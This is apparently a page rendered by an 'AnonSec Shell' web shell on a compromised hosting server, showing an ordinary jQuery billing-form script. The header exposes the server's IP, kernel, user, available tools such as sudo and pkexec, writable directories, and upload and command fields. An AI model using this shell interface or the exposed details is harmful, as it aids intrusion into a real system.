AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.80
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_apps/regional/ui/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_apps/regional/ui/lib//tr-manage.js
$(document).ready(function () {

    $('.amount').autoNumeric('init');



    $("#account").select2({
        theme: "bootstrap",
        language: {
            noResults: function () {
                return $("#_lan_no_results_found").val();
            }
        }
    });
    $("#cats").select2({
        theme: "bootstrap",
        language: {
            noResults: function () {
                return $("#_lan_no_results_found").val();
            }
        }
    });
    $("#pmethod").select2({
        theme: "bootstrap",
        language: {
            noResults: function () {
                return $("#_lan_no_results_found").val();
            }
        }
    });
    $(".s2").select2({
        theme: "bootstrap",
        language: {
            noResults: function () {
                return $("#_lan_no_results_found").val();
            }
        }
    });

    $('#tags').select2({
        tags: true,
        tokenSeparators: [','],
        theme: "bootstrap",
        language: {
            noResults: function () {
                return $("#_lan_no_results_found").val();
            }
        }
    });

    $("#a_hide").hide();
    $("#emsg").hide();
    $("#a_toggle").click(function(e){
        e.preventDefault();
        $("#a_hide").toggle( "slow" );
    });


    var trtype =  $('#trtype').val();
     trtype = trtype.toLowerCase();

    var _url = $("#_url").val();

    $("#submit").click(function (e) {
        e.preventDefault();
        $('#ibox_form').block({ message: null });
        var _url = $("#_url").val();
        $.post(_url + 'transactions/edit-post/', {



            date: $('#date').val(),

            id: $('#trid').val(),
            cats: $('#cats').val(),
			id_cost_center: $('#id_cost_center').val(),
            description: $('#description').val(),
            tags: $('#tags').val(),

            pmethod: $('#pmethod').val(),
            payee: $('#payee').val(),
            payer: $('#payer').val(),
            ref: $('#ref').val()

        })
            .done(function (data) {

                var sbutton = $("#submit");
                var _url = $("#_url").val();
                if ($.isNumeric(data)) {

                    location.reload();
                }
                else {
                    $('#ibox_form').unblock();
                    var body = $("html, body");
                    body.animate({scrollTop:0}, '1000', 'swing');
                    $("#emsgbody").html(data);
                    $("#emsg").show("slow");
                }
            });
    });

	select2CostCenter();
	openModalCostCenter();
});

function select2CostCenter() {
	// Select2 de category
	$("#id_cost_center").select2({
		theme: "bootstrap",
		width: "100%",
		ajax: {
			url: $("#_url").val() + 'module_billing/cost_center/ajax-cost-center',
			dataType: 'json',
			delay: 250,
			method: "POST",
			data: function (params) {

				var queryParameters = {
					term: params.term
				};
				return queryParameters;
			},
			processResults: function (data) {
				return {
					results: $.map(data, function (item) {
						return {
							text: item.name,
							id: item.id
						}
					})
				};
			},
			cache: true
		}
	});
}

function openModalCostCenter() {
	$(".progress").hide();
	$("#emsg").hide();
	var _url = $("#_url").val();

	var $modal2 = $('#ajax-modal-2');
	$(".cost_center_add").click(function(e){
		e.preventDefault();
		// create the backdrop and wait for next modal to be triggered
		$('body').modalmanager('loading');
		setTimeout(function () {
			$modal2.load(_url + 'module_billing/cost_center/modal_add_cost_center/', '', function () {
				$modal2.modal();

				$('#modal_cost_center_submit').on('click', function() {
					var name = $('#name');
					$.ajax({
						url: _url + "module_billing/cost_center/ajax_add_post",
						method: "post",
						dataType: 'json',
						data: {"name": name.val()}
					}).done(function(data) {
						$modal2.modal('toggle');
					}).fail(function(jqxhr, textStatus, errorThrown) {
						name.val('');
						$(".text-danger").remove();
						$("<p class='text-danger'>" + jqxhr.responseText + "</p>").insertAfter(name);
					});
				});
			});
		}, 1000);
	});
}

Anon7 - 2022
AnonSec Team